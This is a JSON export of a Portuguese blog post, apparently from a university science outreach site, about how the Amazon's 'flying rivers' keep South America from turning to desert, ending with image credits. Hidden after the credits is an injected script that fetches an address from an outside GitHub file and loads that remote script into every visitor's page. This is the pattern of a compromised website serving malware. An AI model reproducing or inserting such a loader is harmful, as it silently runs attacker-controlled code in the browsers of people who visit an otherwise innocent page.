{"id":785,"date":"2020-07-01T16:24:02","date_gmt":"2020-07-01T19:24:02","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=785"},"modified":"2024-10-07T15:32:34","modified_gmt":"2024-10-07T18:32:34","slug":"como-a-amazonia-impede-a-desertificacao-da-america-do-sul","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/07\/01\/como-a-amazonia-impede-a-desertificacao-da-america-do-sul\/","title":{"rendered":"Como a Amaz\u00f4nia impede a desertifica\u00e7\u00e3o da Am\u00e9rica do Sul"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Em algum momento da nossa vida j\u00e1 ouvimos em tom de afirma\u00e7\u00e3o ou questionamento a seguinte frase: \u201cA Amaz\u00f4nia vai virar um deserto (?)\u201d; mas ser\u00e1 mesmo que isso pode acontecer com a maior floresta tropical da Terra? Muitas a\u00e7\u00f5es est\u00e3o envolvidas para que possivelmente isso aconte\u00e7a.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-786 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/67450df1b3b91525836dc741b74a6aa1-300x225.png\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/67450df1b3b91525836dc741b74a6aa1-300x225.png 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/67450df1b3b91525836dc741b74a6aa1-1024x768.png 1024w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/67450df1b3b91525836dc741b74a6aa1-768x576.png 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/67450df1b3b91525836dc741b74a6aa1-1536x1152.png 1536w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/67450df1b3b91525836dc741b74a6aa1.png 1600w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>O continente sul-americano \u00e9 privilegiado em rela\u00e7\u00e3o a outras regi\u00f5es do planeta, mesmo com grandes por\u00e7\u00f5es \u00e1ridas como o Deserto do Atacama no Chile ou at\u00e9 mesmo a nossa Caatinga, a Am\u00e9rica do Sul \u00e9 socorrida a milhares de anos por um fen\u00f4meno natural conhecido como \u201crios voadores\u201d. Mas, ao contr\u00e1rio do que se possa imaginar, esses rios a\u00e9reos n\u00e3o s\u00e3o cursos d\u2019\u00e1gua como estamos acostumados a enxergar em leitos de \u00e1guas correntes no solo; na verdade s\u00e3o grandes massas \u00e1gua carreadas pelas nuvens desde a Amaz\u00f4nia para grande parte do continente.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Muitos fatores est\u00e3o envolvidos no processo de desertifica\u00e7\u00e3o, como empobrecimento do solo, desmatamento, assoreamento dos leitos dos rios, e entre eles, est\u00e3o os efeitos causados pela chamada \u2018c\u00e9lula de Hadley\u2019, este fen\u00f4meno provoca locomo\u00e7\u00e3o de correntes de umidade devido \u00e0 circula\u00e7\u00e3o de ar quente desde a linha do Equador at\u00e9 acima do hemisf\u00e9rio norte (na altura do paralelo 30\u00b0); essas correntes retornam ao solo com ar seco e com isso geram um ambiente mais \u00e1rido e ressecado. Como resultados dessa a\u00e7\u00e3o podemos citar o Deserto do Kalahari no continente africano e o Deserto de Sonora nos EUA locais que s\u00e3o diretamente atingidos por essas correntes de ar mais seco.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-789 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/bigwater-dribbble-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/bigwater-dribbble-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/bigwater-dribbble-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/bigwater-dribbble.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Na Am\u00e9rica do Sul, alguns mecanismos agem para burlar os efeitos na circula\u00e7\u00e3o de correntes de ar seco. Grandes massas de umidade vindas do oceano se encontram com as formadas no cora\u00e7\u00e3o do continente, tudo porque a floresta amaz\u00f4nica lan\u00e7a diariamente toneladas de umidade na atmosfera. Essas massas percorrem longas dist\u00e2ncias e chegam at\u00e9 aos Andes, retornando para dentro do continente ainda com mais chuva. Somando todos os fatores, \u00e9 como se o continente possu\u00edsse um \u201cescudo\u201d contra o processo de desertifica\u00e7\u00e3o. <\/span><span style=\"color: #000000;\">As grandes massas de \u00e1gua advindas da Amaz\u00f4nia d\u00e3o origem aos rios a\u00e9reos que percorrem o continente sul-americano, essa estrat\u00e9gia mant\u00e9m a umidade circulando por onde as correntes de umidade passam. Atrav\u00e9s delas bacias como Paran\u00e1-Rio da Prata se formam e at\u00e9 mesmo o Pantanal nos estados do Mato Grosso e Mato Grosso do Sul.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-791 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/l3-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/l3-300x225.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/l3-768x576.jpg 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/07\/l3.jpg 800w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>Mas como se formam o que chamamos \u201crios voadores\u201d? Esse \u00e9 um processo muito interessante e est\u00e1 interligado a uma outra regi\u00e3o do planeta que fica a quil\u00f4metros de dist\u00e2ncia da Amaz\u00f4nia, o Deserto do Saara! As part\u00edculas de poeira viajam desde o deserto atravessando o Oceano Atl\u00e2ntico e chegam na floresta amaz\u00f4nica ricas em nutrientes como o f\u00f3sforo essencial para seu desenvolvimento. Al\u00e9m disso essas part\u00edculas tamb\u00e9m conhecidas como aeross\u00f3is proporcionam as condi\u00e7\u00f5es ideais para condensa\u00e7\u00e3o do vapor d\u2019\u00e1gua vindo da evapotranspira\u00e7\u00e3o da floresta.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Desta maneira, a regi\u00e3o permanece sob uma \u201cmanta \u00famida\u201d e n\u00e3o sofre tanto com os efeitos das correntes de ar seco formadas nas c\u00e9lulas de Hadley. <strong>E \u00e9 esse o mecanismo que impede que a Am\u00e9rica do Sul se torne um imenso e seco deserto.<\/strong> Por\u00e9m fica aqui o <span style=\"color: #ff0000;\"><strong>alerta<\/strong><\/span>: a Amaz\u00f4nia tem enfrentado nos \u00faltimos anos grandes inc\u00eandios que t\u00eam devastado enormes faixas de mata, e esse \u00e9 problema que afeta diretamente a din\u00e2mica que mant\u00e9m de p\u00e9 a floresta e tamb\u00e9m o desenvolvimento dos pa\u00edses sul-americanos. Cientistas tem insistido em alertar a todos sobre o poss\u00edvel e irrevers\u00edvel processo de desertifica\u00e7\u00e3o que poderemos enfrentar caso a floresta continue a ser destru\u00edda e os ciclos que formam os grandes rios a\u00e9reos sejam afetados sendo o bot\u00e3o de igni\u00e7\u00e3o para forma\u00e7\u00e3o de um deserto na Am\u00e9rica do Sul.<\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p>Texto escrito por <strong>Ramon Almeida Santos \u2014\u00a0<\/strong>publicado em julho de 2020.<\/p>\n<hr \/>\n<p>Imagem 1\/Destaque: <a href=\"https:\/\/dribbble.com\/shots\/10002691-Namib-Desert\">Namib Desert<\/a> por Febin Raj<\/p>\n<p>Imagem 2: <a href=\"https:\/\/dribbble.com\/shots\/3643891-Stormy-Water\">Stormy Water<\/a> por Jacqui Oackley<\/p>\n<p>Imagem 3: <a href=\"https:\/\/dribbble.com\/shots\/4032429-Desert\">Desert<\/a> por Thilak Eswaradoss<script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em algum momento da nossa vida j\u00e1 ouvimos em tom de afirma\u00e7\u00e3o ou questionamento a seguinte frase: \u201cA Amaz\u00f4nia vai virar um deserto (?)\u201d; mas ser\u00e1 mesmo que isso pode acontecer com a maior floresta tropical da Terra? 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